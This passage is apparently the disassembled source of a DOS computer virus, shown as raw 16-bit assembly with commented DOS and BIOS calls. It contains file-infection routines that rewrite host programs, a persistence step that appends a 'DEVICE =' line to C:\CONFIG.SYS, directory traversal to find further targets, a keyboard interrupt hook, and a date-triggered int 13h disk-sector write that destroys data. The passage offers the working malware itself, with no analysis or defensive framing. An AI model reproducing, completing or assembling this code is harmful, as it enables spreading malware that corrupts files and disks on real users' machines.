- mov data_0120,cx
- mov cx,data_0108
- loc_0BEA:
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- xor dx,dx ; Zero register
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- pop ds
- jc loc_ret_0C3F ; Jump if carry Set
- mov ax,4200h
- xor dx,dx ; Zero register
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_ret_0C3F ; Jump if carry Set
- mov dx,100h
- mov cx,data_011C
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- jc loc_ret_0C3F ; Jump if carry Set
- cmp ax,data_0108
- ja loc_0C2E ; Jump if above
- mov ax,4200h
- mov dx,data_0108
- mov data_0120,dx
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_ret_0C3F ; Jump if carry Set
- mov cx,data_011C
- jmp short loc_0C32
- loc_0C2E:
- mov cx,data_0108
- loc_0C32:
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- xor dx,dx ; Zero register
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- pop ds
-
- loc_ret_0C3F:
- retn
- sub_0BD4 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0C40 proc near
- cmp data_011B,2
- ja loc_0C4A ; Jump if above
- xor ax,ax ; Zero register
- retn
- loc_0C4A:
- mov al,data_0133
- and al,1
- retn
- sub_0C40 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0C50 proc near
- cmp data_0133,0Fh
- jb loc_0C69 ; Jump if below
- mov al,data_0135
- cmp al,13h
- jb loc_0C69 ; Jump if below
- mov ax,40h
- mov es,ax
- mov byte ptr es:d_0040_004A_e,23h ; '#'
- loc_0C69:
- cmp data_0133,0Dh
- jne loc_ret_0C86 ; Jump if not equal
- cmp data_0134,5
- jne loc_ret_0C86 ; Jump if not equal
- mov ax,301h
- mov cx,1
- mov dx,50h
- xor bx,bx ; Zero register
- mov es,bx
- int 13h ; Disk dl=drive ? ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- loc_ret_0C86:
- retn
- sub_0C50 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0C87 proc near
- mov data_019B,1
- lea dx,data_05C1 ; Load effective addr
- mov cx,27h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jnc loc_0CC6 ; Jump if carry=0
- mov ah,3Ch ; '<'
- mov cx,6
- int 21h ; DOS Services ah=function 3Ch
- ; create/truncate file @ ds:dx
- mov bx,ax
- lea dx,data_05EE ; Load effective addr
- mov cx,data_070A
- mov si,dx
- add si,data_00B3_e
- mov ax,data_0130
- mov [si],ax
- mov ah,data_0132
- mov [si+2],ah
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jc loc_0D1F ; Jump if carry Set
- loc_0CC6:
- lea dx,data_05C7 ; ('C:\CONFIG.SYS') Load effective add
- mov cx,27h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_0D1F ; Jump if carry Set
- call sub_0ACE
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; set attrb cx, filename @ds:dx
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
- jc loc_0D1F ; Jump if carry Set
- mov cx,data_0108
- push es
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- mov es,ax
- xor dx,dx ; Zero register
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- pop ds
- mov dx,ax
- mov ax,0FFFFh
- xor di,di ; Zero register
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- cmp ax,es:[di-1]
- pop es
- jz loc_0D1F ; Jump if zero
- mov ax,4200h
- xor cx,cx ; Zero register
- dec dx
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_0D1F ; Jump if carry Set
- lea dx,data_05D5 ; ('DEVICE =') Load effective addr
- mov cx,19h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- loc_0D1F:
- call sub_0ADF
- retn
- sub_0C87 endp
-
- inc bx
- cmp bl,[si-1]
- inc word ptr [bx+si]
- inc bx
- cmp bl,[si+43h]
- dec di
- dec si
- inc si
- dec cx
- inc di
- db 2Eh, 53h, 59h, 53h, 00h
- db 'DEVICE ='
- db 0FFh,0FFh
- db ' COUNTRY.SYS', 0Dh, 0Ah
- db 1Ah,0FFh,0FFh,0FFh,0FFh, 40h
- db 0C8h, 16h, 00h, 21h, 00h
- db 'hgt42 '
- db 00h, 00h, 00h, 00h, 2Eh, 89h
- db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h
- db 14h, 00h,0CBh, 1Eh, 06h, 0Eh
- db 1Fh,0C4h, 3Eh, 12h, 00h, 26h
- db 8Ah, 45h, 02h, 3Ch, 00h, 75h
- db 03h,0E8h, 82h, 00h
- db 0Dh, 00h, 10h, 26h, 89h, 45h
- db 03h, 07h, 1Fh,0CBh, 50h, 53h
- db 51h, 1Eh
- db 0E4h, 60h,0A8h, 80h, 75h, 30h
- db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
- db 0C7h, 75h, 27h,0B8h, 40h, 00h
- db 8Eh,0D8h,0E8h, 28h, 00h, 25h
- db 05h, 00h, 8Bh,0C8h
- db 0BBh, 1Ch, 00h
-
- locloop_0DB1:
- mov ax,cs:data_00A9_e
- mov [bx],ax
- add bx,2
- cmp bx,3Fh
- jb loc_0DC2 ; Jump if below
- mov bx,1Eh
- loc_0DC2:
- mov word ptr ds:[1Ch],bx
- loop locloop_0DB1 ; Loop if cx > 0
-
- loc_0DC8:
- pop ds
- pop cx
- pop bx
- pop ax
- jmp dword ptr cs:data_00A3_e
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0DD1 proc near
- mov ax,cs:data_00A7_e
- push ax
- and ah,0B4h
- pop ax
- jp loc_0DDD ; Jump if parity=1
- stc ; Set carry flag
- loc_0DDD:
- rcl ax,1 ; Rotate thru carry
- mov cs:data_00A7_e,ax
- retn
- sub_0DD1 endp
-
- db 'hgt42 '
- db 00h, 56h, 31h, 00h, 46h, 52h
- db 44h, 00h, 00h, 00h, 00h, 00h
- db 00h, 65h, 12h, 65h, 73h, 74h
- db 6Eh, 12h, 1Fh, 14h, 31h,0CDh
- db 0ABh,0EFh
- db 06h, 57h,0B4h, 2Ah,0CDh, 21h
- db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
- db 74h, 03h, 80h,0C4h
- db 0Ch
- loc_0E17:
- sub ah,ds:data_00B5_e
- cmp ah,3
- jb loc_0E5D ; Jump if below
- mov ds:data_00B5_e,dh
- mov ds:data_00B3_e,cx
- mov ah,2Ch ; ','
- int 21h ; DOS Services ah=function 2Ch
- ; get time, cx=hrs/min, dx=sec
- mov ds:data_00A7_e,dx
- call sub_0DD1
- mov bx,ax
- and bx,3
- nop ;*ASM fixup - sign extn byte
- mov al,ds:data_00AB_e[bx]
- mov ah,ds:data_00AF_e[bx]
- mov ds:data_00A9_e,ax
- mov ax,3516h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov ds:data_00A3_e,bx
- mov bx,es
- mov word ptr ds:data_00A3_e+2,bx
- cli ; Disable interrupts
- ;* mov dx,offset loc_003E ;*
- db 0BAh, 3Eh, 00h
- mov ax,2516h
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- sti ; Enable interrupts
- loc_0E5D:
- pop di
- pop es
- mov word ptr es:[di+0Eh],0B6h
- mov es:[di+10h],cs
- xor ax,ax ; Zero register
- retn
- db 1Ch
- db 01h, 8Bh, 1Eh, 28h, 01h,0A1h
- db 26h, 01h, 8Eh,0D0h, 8Bh, 26h
- db 24h, 01h, 83h,0ECh, 04h, 8Bh
- db 0F4h, 80h, 3Eh, 1Fh, 01h, 00h
- db 75h, 28h,0BFh, 00h, 01h, 36h
- db 89h, 3Ch, 8Bh,0FBh, 36h, 89h
- db 7Ch, 02h, 33h,0FFh, 36h, 89h
- db 7Ch, 04h
- db 0BFh, 00h, 01h, 8Bh, 36h, 22h
- db 01h, 03h,0F7h, 8Bh, 0Eh, 1Ch
- db 01h, 8Ch,0D8h, 8Eh,0C0h,0F3h
- db 0A4h,0EBh, 16h, 90h
- loc_0EAF:
- mov di,bx
- add di,10h
- mov ax,ds:data_0016_e
- add di,ax
- mov ss:[si+2],di
- mov di,word ptr ds:data_0012_e+2
- mov ss:[si],di
- loc_0EC4:
- mov ds,bx
- mov es,bx
- retf ; Return far
- db 8Ch,0D0h, 2Eh,0A3h, 26h, 01h
- db 2Eh, 89h, 26h, 24h, 01h, 8Ch
- db 0C8h, 8Eh,0D0h,0BCh,0F7h, 01h
- db 1Eh, 8Eh,0D8h, 58h,0A3h, 28h
- db 01h,0E8h,0E6h,0FAh, 8Ch,0C8h
- db 8Eh,0C0h,0E8h, 6Dh,0FAh
- db 0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh
- db 21h,0E8h, 1Bh,0FBh,0E8h, 0Eh
- db 0FBh, 73h, 03h,0E9h, 9Eh, 00h
- loc_0EFE:
- call sub_0989
- jc loc_0F06 ; Jump if carry Set
- jmp loc_0F9C
- loc_0F06:
- call sub_099C
- call sub_0A32
- mov data_011E,0
- loc_0F11:
- call sub_0AB7
- jc loc_0F62 ; Jump if carry Set
- loc_0F16:
- cmp data_019C,4
- ja loc_0F9C ; Jump if above
- call sub_0ACE
- call sub_0AAF
- jnc loc_0F5C ; Jump if carry=0
- cmp data_010A,4
- ja loc_0F5C ; Jump if above
- call sub_0B08
- jc loc_0F9C ; Jump if carry Set
- cmp data_011E,0
- je loc_0F3D ; Jump if equal
- call sub_0B1D
- jmp short loc_0F40
- loc_0F3D:
- call sub_0BD4
- loc_0F40:
- call sub_0ADF
- jc loc_0F9C ; Jump if carry Set
- inc data_019C
- cmp data_019B,1
- je loc_0F5C ; Jump if equal
- call sub_0C40
- jz loc_0F5C ; Jump if zero
- call sub_0C87
- jc loc_0F9C ; Jump if carry Set
- jmp short loc_0F11
- loc_0F5C:
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jnc loc_0F16 ; Jump if carry=0
- loc_0F62:
- cmp data_011E,1
- je loc_0F70 ; Jump if equal
- mov data_011E,1
- jmp short loc_0F11
- loc_0F70:
- mov data_011E,0
- cmp data_019A,0
- jne loc_0F8B ; Jump if not equal
- lea dx,data_015A ; ('C:\') Load effective addr
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- mov data_019A,0FFh
- jmp short loc_0F11
- loc_0F8B:
- cmp data_0182,0
- je loc_0F9C ; Jump if equal
- call sub_0A8A
- dec data_0182
- jmp loc_0F11
- loc_0F9C:
- lea dx,data_013A ; ('\DANGER\1888') Load effective addr
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- call sub_0C40
- jz loc_0FAC ; Jump if zero
- call sub_0C50
- loc_0FAC:
- mov ax,word ptr data_012C+2
- mov es,ax
- mov cx,5Bh
- mov si,offset data_070C
- xor di,di ; Zero register
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- call sub_09EE
- call data_012C
-
- seg_a ends
-
-
-
- end start
-